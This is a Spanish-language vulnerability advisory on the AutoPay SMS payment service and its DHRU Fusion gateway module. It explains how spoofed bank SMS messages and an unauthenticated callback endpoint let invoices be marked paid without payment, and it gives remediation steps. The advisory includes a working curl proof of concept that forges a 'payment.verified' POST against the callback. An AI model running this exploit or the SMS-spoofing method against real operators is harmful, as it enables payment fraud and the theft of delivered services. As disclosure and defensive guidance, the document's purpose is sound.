Investigador: Lordlock Contacto: t.me/lordlock Fecha de publicación: 24 de abril de 2026 Productos afectados:
- AutoPay SMS (
autopaysms.com) — servicio de detección de pagos por SMS - Módulo de pasarela AutoPay para DHRU Fusion (
autopay.php+callback/autopay.php)
Clasificación: Crítica — fraude financiero remoto, no autenticado, no parcheable sin rediseñar el producto.
Si tenés instalado el módulo AutoPay en tu DHRU Fusion, sos explotable ahora mismo. Un atacante remoto, sin credenciales, marca cualquier factura como pagada con una sola petición HTTP, y el servicio (desbloqueo IMEI, licencia, crédito) se entrega automáticamente.
Acción inmediata: eliminá modules/gateways/callback/autopay.php del servidor y desactivá la pasarela en el panel de DHRU. No existe parche disponible al momento de esta publicación, y una parte del problema no es parcheable por código — está en el protocolo GSM mismo.
AutoPay SMS vende una pasarela de pagos para Cuba (y países con economías similares) que funciona así:
- El cliente hace una transferencia bancaria al dueño del servicio (Transfermóvil, BANDEC, BPA, etc.).
- El banco le manda un SMS al dueño notificando la transferencia recibida: "Transferencia recibida de $500.00 CUP. Ref: TRX123456".
- Una app Android instalada en el teléfono del dueño reenvía ese SMS a
autopaysms.com. - AutoPay aplica reglas regex sobre el cuerpo del SMS, extrae monto y referencia, y si coincide con un link de pago activo lo marca como pagado.
- AutoPay dispara un webhook hacia el DHRU del operador para que libere el servicio al cliente.
Todo el modelo de seguridad del producto se apoya en la premisa de que un SMS recibido por el teléfono del dueño proviene realmente del banco. Esa premisa es falsa.
Severidad: Crítica Naturaleza: Falla de diseño del producto, no bug de código.
El protocolo GSM no autentica el campo de remitente (TP-Originating-Address / Sender ID) de un SMS. Existen numerosos servicios comerciales de envío de SMS internacional (gateways A2P) que permiten al cliente fijar un Sender ID alfanumérico arbitrario — incluyendo imitar a bancos, gobiernos o cualquier marca. Esta capacidad se usa legítimamente para marketing ("AMAZON", "UBER"), pero en ausencia de filtrado por parte del operador móvil receptor, permite a un atacante enviar un SMS que aparece en el teléfono del dueño del AutoPay como si viniera del banco.
En Cuba, los operadores móviles no aplican filtros anti-spoofing estrictos sobre SMS internacionales entrantes, por lo que un atacante puede:
- Contratar un gateway SMS internacional (costo: centavos por mensaje).
- Enviar al número del dueño de AutoPay un SMS con:
- Remitente:
TransfermoviloBANDEC(idéntico al real) - Cuerpo: idéntico al formato que el banco usa, con un monto y referencia inventados que coincidan con la factura que el atacante quiere pagar.
- Remitente:
- La app Android del dueño recibe el SMS, no puede distinguirlo del real, y lo reenvía a AutoPay.
- AutoPay aplica la regla de pago, extrae el monto, lo marca como transacción válida y acredita la factura del atacante.
Por qué no se puede arreglar con código:
- El teléfono Android no tiene forma técnica de verificar que el SMS viene del banco. El campo
fromque ve la app es el mismo que verá cualquier SMS spoofeado. - Filtrar por número corto del banco no sirve: los gateways de spoofing también pueden falsificar números numéricos cortos.
- Validar el formato del cuerpo no sirve: el atacante copia el formato real textualmente.
- Validar contra una lista blanca de remitentes no sirve: el remitente que ve la app es justo el que el atacante falsificó.
La única defensa real sería verificar el pago contra la API del banco (consulta de saldo o movimientos reales), pero eso requiere integración bancaria oficial que es precisamente lo que el producto AutoPay busca evitar. El modelo de negocio está en conflicto directo con la posibilidad de remediar la falla.
Prueba de concepto (conceptual, no ejecutada):
Cualquier servicio comercial de SMS internacional con Sender ID alfanumérico permite reproducir esto. No se publican proveedores específicos en este informe.
Severidad: Crítica
Naturaleza: Bug de código, parcheable pero no parcheado.
Archivo: modules/gateways/callback/autopay.php
El endpoint de callback que el módulo DHRU expone para recibir notificaciones de AutoPay no verifica que el POST provenga realmente de AutoPay. Acepta cualquier JSON con remote_id (ID de factura) y uuid, y si la factura existe, llama a addPayment() marcándola como pagada.
No existe en el código:
- Verificación de firma HMAC sobre el payload.
- Validación de IP de origen de AutoPay.
- Consulta de vuelta (server-to-server) a
GET /api/v1/payment-links/{uuid}/statuspara confirmar que eluuidrealmente fue pagado en AutoPay. - Secreto compartido o token en la petición.
- Validación de que el
amountcoincida con el monto del link de pago.
El uuid se acepta tal cual llega en el body, por lo que el atacante lo inventa. El transaction_reference también se controla desde la petición y se guarda como identificador del pago mostrado al administrador y enviado por Telegram, ocultando el fraude.
Prueba de concepto funcional:
# 1) Verificar que la factura existe y está impaga
curl -s "https://victima.com/modules/gateways/callback/autopay.php?check=1&invoice=26818"
# → {"paid": false}
# 2) Marcar la factura como pagada con un único POST
curl -X POST "https://victima.com/modules/gateways/callback/autopay.php" \
-H "Content-Type: application/json" \
-d '{
"event": "payment.verified",
"remote_id": "26818",
"uuid": "pentest-0001",
"amount": 1000.00,
"currency": "USD",
"status": "paid",
"transaction_reference": "PENTEST-TRF-001",
"buyer_name": "Security Test",
"buyer_phone": "00000000"
}'
# 3) Confirmar explotación exitosa
curl -s "https://victima.com/modules/gateways/callback/autopay.php?check=1&invoice=26818"
# → {"paid": true}Tras el segundo curl, DHRU ejecuta la entrega automática del servicio asociado a la factura (desbloqueo, licencia, saldo). El atacante no pagó nada y el operador entregó el producto.
El endpoint ?check=1&invoice=ID adicionalmente permite enumeración y confirmación de explotación sin autenticación.
Severidad: Contribuyente / Alta.
DHRU Fusion trae por defecto un .htaccess restrictivo en /modules/gateways/callback/ con Deny from all, que impediría la explotación externa descrita en 2.2. La documentación oficial de AutoPay instruye explícitamente reemplazarlo por Allow from all, eliminando la única capa de defensa que hubiera mitigado el problema. La alternativa de whitelist por IP se menciona como opcional cuando debería ser la única forma soportada.
Cita textual de la documentación publicada en autopaysms.com:
"Reemplazalo con esto:
Order Allow,Deny/Allow from all"
Esto convierte a cada operador que sigue la guía oficial en un objetivo trivial.
El atacante puede elegir entre:
- Ruta rápida (2.2): un curl al callback del DHRU víctima, sin involucrar AutoPay en absoluto. No requiere SMS, no requiere API Key, no deja rastro en el servidor de AutoPay.
- Ruta indirecta (2.1): enviar un SMS spoofeado al teléfono del operador; AutoPay lo procesa y dispara el callback legítimo. El fraude queda registrado en AutoPay como una transacción "verificada" real, con todo lo que eso implica para la reputación del sistema y la trazabilidad.
Aunque se parchee la ruta 2.2, la ruta 2.1 persiste y es estructural.
- Fraude no autenticado, remoto, masivo. Cualquier DHRU con el módulo instalado es explotable con una petición HTTP. Los IDs de factura son secuenciales, así que la enumeración es trivial.
- Pérdida financiera directa. Servicios automáticos (desbloqueos IMEI, licencias de software, créditos de hosting) se entregan sin cobro real.
- Confusión forense. Los logs y notificaciones Telegram muestran un pago con nombre, referencia y monto elegidos por el atacante, lo que retrasa la detección y dificulta la reconstrucción.
- Riesgo sistémico del producto AutoPay. Incluso si el módulo DHRU se parchea correctamente, el vector 2.1 implica que ningún sistema que confíe en AutoPay como fuente de verdad de pagos puede considerarse seguro, no solo DHRU. Cualquier integración vía callback o via polling a la API de AutoPay puede ser engañada porque AutoPay mismo puede ser engañado por un SMS spoofeado.
- Eliminar el archivo
modules/gateways/callback/autopay.phpdel servidor. - Desactivar la pasarela AutoPay en DHRU Admin → Setup → Payment Gateways.
- Restaurar el
.htaccessoriginal de/modules/gateways/callback/conDeny from all. - Auditar facturas recientes marcadas como pagadas por AutoPay contra los movimientos reales de la cuenta bancaria. Prestar atención a facturas con
transaction_referenceinusual obuyer_namegenérico. - Migrar a una pasarela con verificación bancaria real (pasarela oficial del banco, procesador de tarjetas, criptomonedas con confirmaciones on-chain, etc.) hasta nuevo aviso.
Parche parcial (cubre solo 2.2):
- Antes de
addPayment(), hacerGET https://www.autopaysms.com/api/v1/payment-links/{uuid}/statuscon la API Key almacenada en DHRU, y aceptar el pago únicamente si la respuesta devuelveis_paid: truey elremote_id/amountcoinciden. - Firmar los callbacks con HMAC-SHA256 usando un secreto generado al activar la pasarela; rechazar POST sin firma válida.
- Eliminar el endpoint de polling
?check=1o exigir autenticación. - Actualizar la documentación para mantener
Deny from ally whitelist por IP como único método soportado.
2.1 no se puede parchear sin abandonar el modelo "detectar pago leyendo SMS". Honestamente, el producto debería comunicar esta limitación a sus usuarios.
| Fecha | Evento |
|---|---|
| 24 abril 2026 | Descubrimiento y verificación de 2.2 en entorno de laboratorio. |
| 24 abril 2026 | Análisis del vector 2.1 (SMS spoofing) sobre la documentación del producto. |
| 24 abril 2026 | Publicación de este informe. |
Lordlock — t.me/lordlock
Este informe se publica con fines de divulgación para que los operadores afectados retiren el callback vulnerable antes de sufrir pérdidas, y para alertar a los clientes de servicios basados en AutoPay sobre el riesgo estructural. No se comparten exploits más allá de lo necesario para reproducir la falla en el propio servidor del operador.
La vulnerabilidad 2.1 no es un descuido del desarrollador: es consecuencia directa de intentar construir una pasarela de pagos sobre un canal (SMS GSM) que nunca fue diseñado para autenticar al emisor. Cualquier producto comercial que dependa del contenido de un SMS como prueba de transferencia financiera hereda esta misma clase de falla. El remedio no está en el código sino en no usar SMS como fuente de verdad de pagos.